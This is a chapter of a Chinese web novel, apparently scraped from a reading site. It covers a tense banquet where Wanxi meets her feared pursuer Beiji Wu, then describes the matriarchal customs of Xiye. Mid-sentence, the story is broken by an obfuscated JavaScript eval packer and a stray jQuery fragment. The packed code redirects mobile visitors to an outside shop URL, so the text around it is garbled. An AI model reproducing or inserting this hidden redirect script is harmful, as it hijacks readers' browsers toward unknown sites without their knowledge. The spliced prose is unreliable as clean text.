菀夕和谢轻尘直勾勾地盯了过来，弄得林秀秀有点心虚。她连忙摆着手辩白：“不是那种花楼……”
她断断续续，说得颠三倒四，众人听了个大概。
这小丫头人小鬼大，嫌府中太无聊，又等得不耐烦，便自己溜了出去。一路上左看右看，十分新鲜。待行至一处装潢精美的朱楼，见女客频频进出，以为是什么好玩的地方，便也好奇地跟了进去。
陈默双手抱臂，黑着脸道：“那里面吹啦弹唱、饮酒作乐，根本不是正经人应该去的地方。”随即想到了什么，脸色一红，欲言又止。
林秀秀心虚地低下头，眼神躲闪。
既已寻到人，菀夕便放下心，又在城中逛了一圈，快到晌午方赶回赴宴。
素衣女官前来通传，姜戎单独邀请菀夕和谢轻尘前去花厅。其余人等自行留在敞厅就座。
花厅设在一处地势颇高的所在，山泉溪流顺势而下，激起飞珠溅玉。有些落花顺着溪水漂流而过，暗香盈盈。青色的帘幕近乎透明，宛如一片薄薄的雾气，光线照射下来，明灭可见绣着花朵的图案，正是树莲的纹样。
姜戎换了一身便衣，整个人的气势温和了许多。
她瞧见菀夕对帘幕上的花纹颇感兴趣，解释道：“这是我们西夜国的神木之花，叫做星莲，因为开在树上，百姓们也称其为‘木生莲’或是‘树莲’。”随即有些惋惜道，“我府里也种了一棵，可惜这里的土壤不太适宜，竟不如寻常百姓门前屋后长得茂盛，至今仍未开过花。”
菀夕顺着她的视线望去，这才发现水榭旁的花坛里，种着一棵枝叶稀疏的树木，挺拔的银灰色枝干上零星有几个花骨朵，风一吹，簌簌的往下掉，仿佛当面证明姜戎所言非虚。
谢轻尘沉默半晌，开口道：“或许是因为这里临近水榭，树根吸收的水分太多，底下的根须已经烂掉。”
菀夕&姜戎：……
好有道理，她之前在现代养的绣球花就因为浇水太多死了一盆又一盆。
谢轻尘交流姜戎分享起种树养花的经验，菀夕微感意外。她没有想到谢轻尘身为皇子，对这种事也有一番见地。
见他们聊的火热，她独自回到座位上，端起茶杯，浅啜一口。无意间发现桌子上有四副碗筷，座位也多出一个。
姜戎还邀请了其他人吗？她想起在他们之前接见的那位神秘客人。
思绪忽地被一句熟悉的声音打断，三分慵懒，七分桀骜。“还没开席么，难不成在等我？”
一人身着黑色华服，步履沉稳，拾阶而上。他伸出手拂开帘幕，整个人如同一柄肃杀的剑，从青色烟雾中穿过，斩断了落花照水的温柔。
亭角上丝线所系的金铃，随着他的经过，发出一声悦耳的脆响。那声音，落在菀夕心中却如平地惊雷。
她不可置信地看着来人。那张在噩梦里出现的脸，竟如此真切地出现在她面前，甚至在她对面坐下。
北稷武为何会出现在这里？
他现在不应该在大胤皇城里日夜忙碌，与反对他的大臣们斗智斗勇吗？
菀夕下意识地想要逃离，可双腿却有些发软，手上一个脱力，茶杯一骨碌掉落在地，摔碎了。
姜戎和谢轻尘都看了过来。
谢轻尘递来一方素帕，姜戎语气随意道：“碎碎平安。来人，换上新的杯子。”随即端起酒壶，看向北稷武，“姬公子，你来迟了，理应自罚三杯。”
姬公子？
菀夕眸中闪过一丝疑惑。
与她的惊慌失措不同，对面那人却是气定神闲。
菀夕忽地想起那道毒蛇般阴冷的目光，顿时心中了然。她去面见姜戎时察觉到的那道目光，就是他。
他早就知道自己在这儿。
菀夕低下头，拿起一双筷子麻木地夹起最近的菜，入口却味同嚼蜡。
今日这桌酒席还真是热闹，西夜女将、东蔺皇子，大胤摄政王，再加上她一个永安郡王亲使。简直是群英荟萃，煮酒论英雄，脑海中不由闪过曹老板与大汉第一魅魔的画面。
菀夕有一个习惯，极度紧张的时候就会胡思乱想。她低着头，微微抿唇，心里的紧张冲淡了许多。
再次抬起头，已经恢复了平静淡然。
这里是西夜，不是大胤。他们都是姜戎的客人，既然他并未捅破，那她也没必要自乱阵脚。
这么想着，心里稍微安定了些。
姜戎正向北稷武介绍他们，她隐去了谢轻尘的皇子身份，只说他是永安郡王萧怀的好友。
“这位。”姜戎看向北稷武，顿了一下，“是来自大胤的使者。”
北稷武微微侧目，“在下，姬云燃。”
他毫不掩饰地看向菀夕，眼神中闪过一丝玩味：“元主事很像我认识的一个人。”
“是么。”
见她无动于衷，北稷武慢悠悠地开口：“她是我府里的婢女，后来犯了错私自逃走。”随即意有所指地看向她，眼神中闪过一丝阴鸷，唇角却是微微上扬，“我早晚会把她抓回来。”
搁这儿指桑骂槐呢。菀夕眼皮微动，在心里“哦”了一声。
这顿饭因着北稷武的存在，菀夕兴致乏乏，只稍微动了几筷。用罢饭姜戎客套一番让她多留一会儿，她婉言拒绝。
水声潺潺，她快步离席，只想离那人远一些。
身后传来脚步声，她深吸一口气，酝酿着如何讥讽，却听见是谢轻尘的声音。“菀夕，一起走。”
两人便一同离开，从背影上看，好似一双璧人。
北稷武紧握着酒杯，眼神中浮现出一抹阴郁，浓得像化不开的墨色。
菀夕回到住处，又吃了一些从铺子里买的点心，酥皮里裹着流沙的甜咸口感，倒是别有一番风味。
林秀秀递上一杯热茶，随即在一旁的椅子上托着腮，脑海中回忆着自己看到的奇异场景。
她忍不住分享：“元姐姐，花楼里面竟然都是俊俏的男子奏乐起舞……”
菀夕一愣，随即意识到了什么。淡淡道：“在这里不算奇怪。男人和女人，本来就只是一种处境。”
林秀秀满眼疑惑，她还不太懂这是什么意思。
菀夕弯了弯眼睛，没说话。
她带着林秀秀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815524|211043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来到城中，挨家挨户拜访商户店铺，主动赠送商队带来的商品，让她们试着寄售一下，收益全归她们所有。
上午她观察过了，城中店铺里受欢迎的商品与外面很不一样。
萧怀本以为胭脂水粉首饰会大受欢迎，可菀夕调研之后，才发现这里的女子对外貌并没有特别上心。
她们是家里的主事人，要读书做官打理生意或是亲自劳作，并无太多闲情逸致研究如何变得更娇媚动人。反倒是男子们会更注重自己的形象。
路上可见一些小郎君干净清爽，头发胡子都打理的一丝不苟，就连衣服也是簇新的，折痕清晰。看上去颇为养眼。
菀夕只得命人回报萧怀，多准备一些文房四宝书籍器物等实用货物，但材质设计要符合女子审美。
见林秀秀茫然不解，菀夕只得向她耐心解释。
在西夜国的神话里，创世神是一位女神。她生于水中莲花，陨落时留下一棵大树，年年花开不败，庇护西夜子民。
西夜国内，路上随处可见的树莲，就是那棵大树的种子长成的。
因而西夜是母系传承的国家，最大的掌权者被称为“明皇”。上至皇帝，下至官吏百姓，都是女子主事，男子则负责家族内务，教养家族中的后代。
西夜国的男女成年后大多自由恋爱，她们情之所至，便自行相好。
女子一旦有孕，便会抱回家族。男子是孩子的生父，却并不需要负责抚养孩子。他们要负责的，是自己家族中女性的孩子。是以对西夜人来说，较之生父，她们往往更亲近舅舅。
各行各业都有男子参与劳作，但他们往往没有什么话语权，也习惯了保持沉默。
在家族眼中，一个男子的荣耀是能严格要求自身，洁身自好，勤劳自谦。在外，能获得心仪女子的青睐；在内，要承担家族中一应劳作，勤恳持家。这才是一个合格的西夜男儿。
没有姐妹或是家族庇护的男子下场都会很惨，这意味着他们无法延续血脉。年轻时尚可凭借姿色或力气讨一口饭吃，年老之后，便是孤苦无依，即使有亲生儿女，对方恭敬供养的也是舅父，而非生父。
是以西夜国家家户户，都有生女儿的执念和追求。
菀夕来的路上已经有所耳闻，而且她也在现代看过一些类似的设定，所以并不惊讶，只是颇觉有趣。
但这里的一切，对林秀秀冲击极大。
在她的世界观里，男女之间无媒苟合是要浸猪笼的；
女子生下孩子，孩子是要冠上男方姓氏，归属于男方家族，死后也供奉于男方家祠堂；
朝堂上参政议事的，是男子。女子插手国事是干政，是逾矩；
学堂里读书的是男子，学富五车知识渊博的是男子。女子多读几本书些许识得几个字便足矣，无需也不能考取功名。倒是可以红袖添香，为男子增添一些雅趣；
青楼里卖笑的都是女子，就算有兔儿爷，也是为男子服务；
建功立业的是男子，女子是点缀，是爱恨传奇里的薄命红颜。
她忍不住喃喃道：“元姐姐，这里的一切都好奇怪啊。”